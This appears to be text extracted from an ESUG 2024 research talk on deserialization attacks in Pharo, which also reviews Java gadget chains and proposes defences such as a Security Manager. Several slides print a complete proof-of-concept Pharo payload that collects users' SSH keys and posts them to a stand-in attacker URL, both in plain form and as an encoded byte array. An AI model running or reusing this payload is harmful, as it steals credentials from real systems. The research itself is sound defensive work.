Attack chains construction: Towards detecting and preventing Pharo vulnerabilities

Attack chains construction:
ESUG 2024 Talks
Imen Sayar, Steven Costiou, Cyril Ferlicot-Delbecque
Wednesday, July 10, 2024
Towards detecting and preventing Pharo
vulnerabilities

Example of real-world attack
2
Source:
https://www.theguardian.com/technology/2016/nov/28/passengers-free-ride-san-francisco-muni-ransomeware

● CVE (Common Vulnerabilities and Exposures): ID + vulnerability description + patch
(if any) + exploits + …
● Known databases for attacks/vulnerabilities description
○ OWASP (Open Web Application Security Project)
○ MITRE corporation
○ RedHat
○ NVD (National Vulnerabilities Database) of NIST
Terminology
3

Example of CVE search
2818 CVEs on Java
148 CVEs on Java deserializ(s)ation
105 CVEs on Java injection
4
925 CVEs on Python
14211 CVEs on SQL injection
…

What about CVE search for Pharo?
- 0 CVEs on “Pharo”
- 0 CVEs for “SmallTalk”
5
No detected or reported attacks in Pharo?

● There are no reported attacks in Pharo
○ does this mean that Pharo is safe?
■ if that’s the case, everything is fine :-)
■ if not, we need to know the potential attacks and to prevent them
● How do we know if Pharo is (really) safe?
6
So..

Our goal is to check if Pharo codes can be attacked
write a PoC of attacks
7

Our goal is to check if Pharo codes can be attacked
write a PoC of attacks
Deserialization attacks!
8

● Serialization: transform an object into a sequence of bytes
● Deserialization: reconstruct the object from the data available in the serialized sequence
Deserialization attacks
9
public class MyClass implements Serializable
{
int a;
public MyClass (int a) {
this.a = a;
}
public int m (..) {..}
}
00000000 ac ed 00 05 73 72 00 07 4d 79 43 6c 61 73 73 ed |....sr..MyClass.|
00000010 ef 00 78 02 ca 82 96 02 00 01 49 00 01 61 78 70 |..x.......I..axp|
00000020 00 00 00 22 |..."|
Instantiation
MyClass mc = new MyClass(34)
[…]
Serialization
Deserialization
9

10
Deserialization attack in PayPal in 2015
Source:
https://artsploit.blogspot.com/201
6/01/paypal-rce.html

???
Malicious file
Attacker side
'#[124 117 115 101 114 115 124
13 117 115 101 114 115 32 58
61 32 40 70 105 108 101 83 121
115 116…]'
Serialization
2
|users|
users := (FileSystem disk
root / ''Users'').
(users entries collect:[:e|
…]
Victim side
???
Object class>>readFrom: maliciousString
…
????
???
Deserialization
Legend
payload
gadget
exploit
1
Attack action (steal sensitive data)
3
Deserialization attacks 101
11
Malicious code

Understanding deserialization attacks
12
* https://github.com/frohoff/ysoserial
[1] Imen Sayar, Alexandre Bartel, Eric Bodden, and Yves Le Traon. “An in-depth study of java deserialization remote-code execution exploits and vulnerabilities”. ACM
Trans. Softw. Eng. Methodol., 32(1) :25 :1–25 :45, 2023.
● Ysoserial* tool as a PoC for Java deserialization attacks
● We have studied 19 out of 47 attacks in Java described by ysoserial [1]
● We have extracted the call stacks of these attacks
● Our goal was to extract information from these attacks to reuse them in other
languages

Jdk7 update 21
Commons Collections 3.1
Gadgets
13
Ysoserial deserialization attacks

Internal mechanisms in attacks
14
Reflection
Native calls
Vulnerable classes/methods

Attacks are not using new concepts.
They are based on existing concepts
as reflection, native calls, and late binding
15
Observation n° 1

The vulnerability is not a specific code fragment.
It is a constellation of multiple method invocations combined
into a so-called “Gadget Chain”
16
Observation n° 2

Now that we have understood how deserialization attacks happen
in Java, we target the Pharo language and try to create an attack.
But, what are the ingredients for that?
17
Objective

Malicious file
Attacker side
'#[124 117 115 101 114 115 124
13 117 115 101 114 115 32 58
61 32 40 70 105 108 101 83 121
115 116…]’
Serialization
???
1
Getting an Attack Recipe
18
Malicious code
Malicious code that will generate
malicious file

Malicious file
Attacker side
'#[124 117 115 101 114 115 124
13 117 115 101 114 115 32 58
61 32 40 70 105 108 101 83 121
115 116…]’
Serialization
???
1
19
Malicious code
???
???
???
…
???
???
Legend
payload
gadget
exploit
- Vulnerable language version
- methods to invoke
Victim side

Malicious file
Attacker side
'#[124 117 115 101 114 115 124
13 117 115 101 114 115 32 58
61 32 40 70 105 108 101 83 121
115 116…]’
Serialization
???
1
20
Malicious code
2
???
???
???
…
???
???
Legend
payload
gadget
exploit
Victim side
Attack action
3
Deserialization
- send malicious file to the victim
- deserialize the content of the
malicious file

Payload for stealing SSH keys in Pharo
21
'|users|
users := (FileSystem disk root / ''Users'').
(users entries collect: [:e |
[|userSSHDir stolenFiles|
userSSHDir := e asFileReference /''.ssh''.
stolenFiles := Dictionary new.
userSSHDir entries do:[:file|
stolenFiles at: file asFileReference path put: file
asFileReference contents ].
stolenFiles
] onErrorDo: [:err| nil ].
]).
ZnClient new
url: ''www.attackerUrl.com'';
contents: stolenFiles;
post'
' asByteArray printString.
(1) capture the users path
(2) collect from the users entries all the ssh files
(3) create a dictionary to put stolen ssh files
(4) put the content of each ssh file in the stolenFiles
(5) send the stolen ssh files to the attacker website
(6) transform the attack instructions into a ByteArray
Malicious code

Encoded payload for stealing SSH keys
22
'#[124 117 115 101 114 115 124 13 117 115 101 114 115 32 58 61 32 40 70 105 108 101 83 121 115 116 101 109 32 100 105 115
107 32 114 111 111 116 32 47 32 39 85 115 101 114 115 39 41 46 13 40 117 115 101 114 115 32 101 110 116 114 105 101 115 32
99 111 108 108 101 99 116 58 91 58 101 124 13 32 32 32 32 91 124 117 115 101 114 83 83 72 68 105 114 32 115 116 111 108 101
110 70 105 108 101 115 124 13 32 32 32 32 117 115 101 114 83 83 72 68 105 114 32 58 61 32 101 32 97 115 70 105 108 101 82
101 102 101 114 101 110 99 101 32 47 39 46 115 115 104 39 46 32 34 115 101 108 102 32 104 97 108 116 46 34 13 32 32 32 32
115 116 111 108 101 110 70 105 108 101 115 32 58 61 32 68 105 99 116 105 111 110 97 114 121 32 110 101 119 46 13 32 32 32
32 117 115 101 114 83 83 72 68 105 114 32 101 110 116 114 105 101 115 32 100 111 58 91 58 102 105 108 101 124 13 32 32 32
32 32 32 32 32 32 91 115 116 111 108 101 110 70 105 108 101 115 32 97 116 58 32 102 105 108 101 32 97 115 70 105 108 101 82
101 102 101 114 101 110 99 101 32 112 97 116 104 32 112 117 116 58 32 102 105 108 101 32 97 115 70 105 108 101 82 101 102
101 114 101 110 99 101 32 99 111 110 116 101 110 116 115 32 93 111 110 69 114 114 111 114 68 111 58 32 91 58 101 114 114
124 32 110 105 108 32 93 93 46 13 32 32 32 32 115 116 111 108 101 110 70 105 108 101 115 13 32 32 32 32 93 32 111 110 69 114
114 111 114 68 111 58 32 91 58 101 114 114 124 32 110 105 108 32 93 46 13 93 41 32 105 110 115 112 101 99 116 46 32 13 13 90
110 67 108 105 101 110 116 32 110 101 119 13 9 9 9 117 114 108 58 32 39 117 114 108 46 99 111 109 39 59 13 9 9 9 99 111 110
116 101 110 116 115 58 32 115 116 111 108 101 110 70 105 108 101 115 59 13 9 9 9 112 111 115 116]'
⇒ This malicious bytestream is unreadable by humans and will be sent to the
victim to deserialize it using the readFrom: method

The readFrom: method
23
● The victim application will deserialize the maliciousString using the
Object class >> readFrom: method
● The readFrom: method invokes the evaluate: method
○ both of them are considered as gadgets

OCReceiverDoItSemanticScope(OCDoItSemanticScope)>>evaluateDoIt:
Malicious file maliciousString
Attacker side
'#[124 117 115 101 114 115 124
13 117 115 101 114 115 32 58
61 32 40 70 105 108 101 83 121
115 116…]
Serialization
2
|users|
root / ''Users'').
(users entries
collect:[:e| …]
Victim side
OpalCompiler>>evaluate: maliciousString
…
evaluate
ZnClient>>post
Deserialization
Legend
payload
gadget
exploit
1
Attack action (steal and send SSH keys to
www.attackerUrl.com)
3
Pharo attack conduct
24
Malicious code

Attack chains construction: Towards detecting and preventing Pharo vulnerabilities

What’s next?
● Shall we deprecate then remove Object class>>readFrom:?
● No Security Manager in Pharo for preventing attacks
○ introduce natively this concept in Pharo?
● One of the main problems in the attacks is that the victim application contains
openings to the outside (eg., reading from external file, queryable database)
○ why not detecting these openings and control them?
26

Conclusion
● Vulnerabilities still exist in Object Oriented languages
● Pharo attack chains construction for 3 attacks
● It is relevant to consider and implement security checks when
coding in Pharo
27

OCReceiverDoItSemanticScope(OCDoItSemanticScope)>>evaluateDoIt:
Attacker side
'#[124 117 115 101 114 115 124
13 117 115 101 114 115 32 58
61 32 40 70 105 108 101 83 121
115 116…]
Serialization
2
|users|
root / ''Users'').
(users entries
collect:[:e| …]
Victim side
OpalCompiler>>evaluate: textStringOrStream
…
evaluate
ZnClient>>post
Deserialization
1
Attack action (steal and send SSH keys)
3
Malicious code
Thank you!

31
SecurityManager secuManager = new SecurityManager();
System.setSecurityManager(secuManager);

Attacker side
'#[124 117 115 101 114 115 124
13 117 115 101 114 115 32 58
61 32 40 70 105 108 101 83 121
115 116…]
Serialization
2
|users|
root / ''Users'').
(users entries
collect:[:e| …]
Victim side
OpalCompiler>>evaluate: textStringOrStream
Deserialization
Legend
payload
gadget
exploit
1
Pharo with a Security Manager
32
Malicious code
Security Manager

Attack chains construction: Towards detecting and preventing Pharo vulnerabilities

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